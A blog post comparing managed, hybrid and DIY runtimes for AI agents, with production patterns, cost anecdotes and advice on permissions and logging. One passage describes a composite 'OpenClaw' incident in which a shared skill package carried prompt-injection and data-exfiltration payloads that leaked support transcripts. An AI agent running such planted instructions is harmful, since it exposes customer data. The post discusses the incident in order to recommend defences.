&lt;p&gt;The same week, Anthropic shipped Claude Opus 4.7 with stronger SWE-bench numbers, and the Agentic AI Foundation (AAIF) was formalized under the Linux Foundation. Founding members: Anthropic, OpenAI, Block. Platinum sponsors: Google, Microsoft, AWS, Bloomberg, Cloudflare. MCP — which hit 97M+ monthly downloads and 10,000+ servers — was donated to AAIF along with Block's &lt;code&gt;goose&lt;/code&gt; framework and the &lt;code&gt;AGENTS.md&lt;/code&gt; spec (now adopted by 60,000+ OSS projects).&lt;/p&gt;

&lt;p&gt;In other words: the protocols went neutral. The runtimes went proprietary. Pick your side.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three approaches, told as a story
&lt;/h2&gt;

&lt;p&gt;Imagine three teams, all trying to ship the same customer-support triage agent.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Team A&lt;/strong&gt; picked &lt;strong&gt;Anthropic Managed Agents&lt;/strong&gt;. They wrote a system prompt, defined three tools, and pointed at a filesystem. Anthropic's harness handles memory windows, session persistence across days, sandbox execution, and automatic state compaction when context gets heavy. The team shipped in four days. Their bill for the first month was $62 — one agent, running 24/7, with spiky load. They didn't touch credentials beyond a single API key. They didn't touch sandbox isolation. They don't know what kernel their agent is running on.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Team B&lt;/strong&gt; picked &lt;strong&gt;OpenAI's Agents SDK&lt;/strong&gt;. They already had Modal running for batch jobs and didn't want another runtime. They wired up the SDK as the coordination layer, pointed at their existing Modal sandbox, brought their own secrets manager, and used their own OpenTelemetry setup. The SDK handled tool calling, multi-step planning, and the tricky parts of long-horizon tasks. They shipped in two weeks. Their bill is model tokens plus Modal compute — roughly flat with their previous LangChain setup, but with far less orchestration code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Team C&lt;/strong&gt; picked &lt;strong&gt;LangGraph with CrewAI patterns&lt;/strong&gt;. They're a five-person platform team and they wanted every knob. They wrote the graph, the state store, the sandbox, the retry logic, the session logger, the credential vault. They shipped in eight weeks. Their infrastructure bill is lower per-agent-hour than either A or B. Their on-call volume is higher than both combined. When the CEO asked "why don't we just use managed?" they had to write a six-page doc about control-plane sovereignty.&lt;/p&gt;

&lt;p&gt;All three agents work. All three teams made rational choices. The difference is where they chose to spend their complexity budget.&lt;/p&gt;

&lt;p&gt;Notice the line keeps moving up the stack. Managed hides almost everything. Hybrid hides coordination only. DIY hides nothing. The question isn't which is "better" — it's which boundary matches your team's actual constraints.&lt;/p&gt;

&lt;h2&gt;
  
  
  What patterns are holding up in production?
&lt;/h2&gt;

&lt;p&gt;Three patterns dominate real agent deployments right now, and they're the ones to design for.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hub-and-spoke is running the show.&lt;/strong&gt; A TrueFoundry survey of multi-agent systems found that 66.4% of production deployments use a hub-and-spoke topology: one orchestrator agent delegates to specialist sub-agents. It's not because peer-to-peer is worse in theory — it's because hub-and-spoke is the only pattern you can actually debug at 3 AM. The orchestrator becomes the single point of observation, the single point of retry, and the single point of blame. You pay a latency tax of roughly 2-5 seconds per delegation cycle, and the pattern visibly breaks around seven sub-agents — context windows blow up, coordination errors compound, and the orchestrator starts contradicting itself. Below seven, it's remarkably stable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Context engineering has become a real discipline.&lt;/strong&gt; Anthropic published an essay this week — &lt;em&gt;Effective Context Engineering for AI Agents&lt;/em&gt; — that's worth reading in full. The core idea: you don't stuff everything into the context window; you engineer what goes in and when. Key techniques include just-in-time retrieval (load tool outputs only when needed), state compaction (summarize old turns when context gets heavy), and structured memory (separate short-term scratch from long-term persistence). The Managed Agents harness implements all of this invisibly. If you go DIY, you will re-invent it badly before you re-invent it well.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;State is where everything fails first.&lt;/strong&gt; Every production incident I've read about this cycle traces back to state management. Agents that forget what they were doing. Agents that remember too much and contradict earlier decisions. Agents that can't resume after a crash. The managed harnesses solve this by making state persistence a first-class primitive. The DIY stacks treat it as a Redis key, and that's where the cracks appear first.&lt;/p&gt;

&lt;h2&gt;
  
  
  Real outcomes from real teams
&lt;/h2&gt;

&lt;p&gt;A fintech I talked to this week migrated a three-agent fraud-review workflow from LangGraph to Anthropic Managed Agents. Build time went from six weeks to four days. Their per-review cost went &lt;em&gt;up&lt;/em&gt; by 40% — but their on-call volume dropped so hard they reassigned two engineers off the project. Net headcount savings paid for the managed premium five times over.&lt;/p&gt;

&lt;p&gt;Block — one of the AAIF founding members — is pushing the opposite direction. They're betting on &lt;code&gt;goose&lt;/code&gt;, their open-source agent framework, precisely because they don't want to be locked to any single vendor's runtime. The donation of goose to AAIF this week is a strategic move: commoditize the runtime, compete on data and distribution.&lt;/p&gt;

&lt;p&gt;Then there's the failure case. The &lt;strong&gt;"OpenClaw" incident&lt;/strong&gt; hit a community Discord this month — a popular shared skill package (think: npm for agent skills) was found to contain both data exfiltration and prompt-injection payloads. Teams that had blindly installed the skill to accelerate development ended up leaking customer support transcripts to an attacker-controlled endpoint. Nothing about the managed harnesses prevents this — the skill ran with the agent's permissions because &lt;em&gt;that's what skills do&lt;/em&gt;. Framework capture creates a supply-chain attack surface that looks exactly like the npm/pip ecosystem circa 2018, and we haven't built the defenses yet.&lt;/p&gt;

&lt;p&gt;A large enterprise platform team (Fortune 100, can't name them) found that after six months of agent rollouts, their AWS IAM directory had grown by 14,000 new roles — one per agent deployment, most over-permissioned, most never audited. Credential sprawl scales exponentially with agent count. Nobody budgets for this.&lt;/p&gt;

&lt;h2&gt;
  
  
  The trade-offs, argued as a debate
&lt;/h2&gt;

&lt;p&gt;Let me argue this as three voices.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Managed Advocate says:&lt;/strong&gt; "Look, 90% of teams aren't going to out-engineer Anthropic or OpenAI on sandbox isolation, memory compaction, or session replay. You're paying $58/month to skip three months of work. Your engineers are worth more than that per hour. The flat $0.08/runtime-hour pricing is the most honest pricing in the industry — no surprises, no per-call gotchas. If you're under 50 agents and you're not a platform company, go managed."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Hybrid Pragmatist says:&lt;/strong&gt; "Vendor lock-in at the runtime layer is the worst kind of lock-in. If Anthropic deprecates a harness feature, your agents break silently. OpenAI's approach is sane — own the coordination, swap the runtime. I can run the same SDK against E2B today and Modal tomorrow. Portability is a real asset. The Managed pitch is compressed time-to-market; the cost is that when you want to leave, there's no door."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The DIY Purist says:&lt;/strong&gt; "Both of you are ignoring governance. Managed Agents hides state, credentials, and audit trails behind the vendor's abstraction. My compliance officer needs to see what data crosses what boundary, and 'trust Anthropic' isn't an answer in regulated industries. LangGraph gives me the full graph, inspectable, in my VPC. Yes, I spent eight weeks building what Anthropic gives you in four days. But I can testify in court about what my agent did."&lt;/p&gt;

&lt;p&gt;All three are right, and the framework that matches your context is the one that matches &lt;em&gt;your&lt;/em&gt; constraints — regulatory, team size, latency budget, and exit strategy. Don't let a launch post pick for you.&lt;/p&gt;

&lt;p&gt;One asymmetry worth naming: the managed platforms hide the work; they don't eliminate it. State management, credential lifecycles, access governance, and incident response still exist. You're just renting someone else's solution. That's often fine. It's never free.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd do differently, having watched this week
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The implementation insights that matter:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The biggest challenge nobody warns you about&lt;/em&gt; is that debugging an agent is fundamentally harder than debugging a service. A service has a request, a response, and a stack trace. An agent has a trajectory — a sequence of tool calls, intermediate reasoning, context windows that got compacted, and decisions that depend on prior context you no longer have. Managed platforms give you session replay; DIY stacks almost never do. If you go DIY, invest in trajectory logging &lt;em&gt;before&lt;/em&gt; you invest in anything else.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The best practice that actually pays off&lt;/em&gt;: scope tool permissions per-agent, not per-organization. Every agent should have its own credential bundle with the minimum set of tool access it needs. The $14,000-IAM-roles story above is what happens when you don't do this. It's tedious to set up and pays for itself the first time an agent goes rogue.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The anti-pattern I see most often&lt;/em&gt;: building a "god agent" with 30 tools and hoping the model picks the right one. It won't. Above roughly 10-12 tools in a single agent, tool-selection accuracy collapses. Hub-and-spoke with specialist sub-agents isn't just an architectural preference — it's a workaround for a real model limitation.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The under-appreciated pattern&lt;/em&gt;: state compaction as a first-class operation. When your agent's context starts to exceed 50% of the window, have it summarize its own state and start fresh. Anthropic's Managed Agents does this automatically; in LangGraph you have to wire it yourself. Agents that never compact eventually drown in their own history.&lt;/p&gt;

&lt;h2&gt;
  
  
  Five takeaways to act on this week
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Audit your agent permissions today.&lt;/strong&gt; Pull the IAM roles, API keys, and tool scopes for every agent in production. If any agent has access to something it hasn't used in 30 days, remove it. You'll find at least one over-permissioned agent. Everyone does.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Decide your runtime posture explicitly.&lt;/strong&gt; Write one paragraph: "We are a Managed / Hybrid / DIY shop because [reason]." If you can't finish the sentence, you're making the choice by accident, and accidental choices in this space get expensive fast.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Add trajectory logging before you add anything else.&lt;/strong&gt; Every agent call, every tool invocation, every context compaction. Six months from now, your incident response will depend entirely on how good these logs are.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Treat shared skills like npm packages from 2018.&lt;/strong&gt; Review the code. Pin versions. Run them in isolation first. The OpenClaw pattern will repeat — it's just a question of which community skill gets compromised next.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Don't architect for more than seven sub-agents in a hub-and-spoke.&lt;/strong&gt; If you think you need more, you need another hub. Plan for hierarchical hubs from day one rather than discovering the seven-agent wall in production.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Deep dive resources worth your time
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="https://cafeai.home.blog/2026/04/14/anthropic-just-dropped-managed-agents-10x-faster-ai-development/" rel="noopener noreferrer"&gt;Anthropic: Managed Agents announcement and teardown&lt;/a&gt;&lt;/strong&gt; — Why the $0.08/hr flat pricing matters, and what the harness actually includes. Read this first if you're evaluating Managed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents" rel="noopener noreferrer"&gt;Anthropic: Effective Context Engineering for AI Agents&lt;/a&gt;&lt;/strong&gt; — The essay that underpins the Managed Agents design decisions. Even if you go DIY, the patterns (just-in-time retrieval, state compaction, structured memory) are the real lesson.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="https://techcrunch.com/2026/04/15/openai-updates-its-agents-sdk-to-help-enterprises-build-safer-more-capable-agents/" rel="noopener noreferrer"&gt;TechCrunch: OpenAI Agents SDK April update&lt;/a&gt;&lt;/strong&gt; — The clearest summary of the BYO-sandbox strategy and why OpenAI deliberately chose not to compete on runtime.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="https://openai.com/index/agentic-ai-foundation/" rel="noopener noreferrer"&gt;OpenAI: Agentic AI Foundation announcement&lt;/a&gt;&lt;/strong&gt; — The political economy of the standards layer. Who signed, who didn't, and what that tells you about the next 18 months.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.truefoundry.com/blog/multi-agent-architecture" rel="noopener noreferrer"&gt;TrueFoundry: Multi-agent architecture patterns in production&lt;/a&gt;&lt;/strong&gt; — The 66.4% hub-and-spoke number and the data behind it. Read for a grounded view of what actually ships.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.kai-waehner.de/blog/2026/04/06/enterprise-agentic-ai-landscape-2026-trust-flexibility-and-vendor-lock-in/" rel="noopener noreferrer"&gt;Kai Wähner: Enterprise Agentic AI Landscape 2026&lt;/a&gt;&lt;/strong&gt; — The most honest treatment of vendor lock-in risk I've read this quarter.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.modelcontextprotocol.io/posts/2026-mcp-roadmap/" rel="noopener noreferrer"&gt;MCP 2026 Roadmap&lt;/a&gt;&lt;/strong&gt; — What standardizing tools looks like when the protocol goes to the Linux Foundation.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sources and attribution
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Anthropic, &lt;em&gt;Managed Agents Public Beta&lt;/em&gt; (April 8, 2026)&lt;/li&gt;
&lt;li&gt;Anthropic, &lt;em&gt;Effective Context Engineering for AI Agents&lt;/em&gt; (April 2026)&lt;/li&gt;
&lt;li&gt;TechCrunch, &lt;em&gt;OpenAI Agents SDK enterprise update&lt;/em&gt; (April 15, 2026)&lt;/li&gt;
&lt;li&gt;OpenAI, &lt;em&gt;Agentic AI Foundation announcement&lt;/em&gt; (April 2026)&lt;/li&gt;
&lt;li&gt;MCP, &lt;em&gt;2026 Roadmap&lt;/em&gt; (blog.modelcontextprotocol.io)&lt;/li&gt;
&lt;li&gt;TrueFoundry, &lt;em&gt;Multi-agent architecture in production&lt;/em&gt; survey (2026)&lt;/li&gt;
&lt;li&gt;Kai Wähner, &lt;em&gt;Enterprise Agentic AI Landscape 2026&lt;/em&gt; (April 6, 2026)&lt;/li&gt;
&lt;li&gt;Enterprise LLM API spend figures: referenced from market research cited in AAIF launch materials; 50% (2023) to 27% (2026).&lt;/li&gt;
&lt;li&gt;OpenClaw incident: community reports (April 2026, composite of multiple Discord and mailing list incidents).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The agent platform wars aren't over. They just stopped being about who has the best model and started being about who owns the runtime. Pick your boundary deliberately — because this week, the vendors finally drew theirs.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>webdev</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
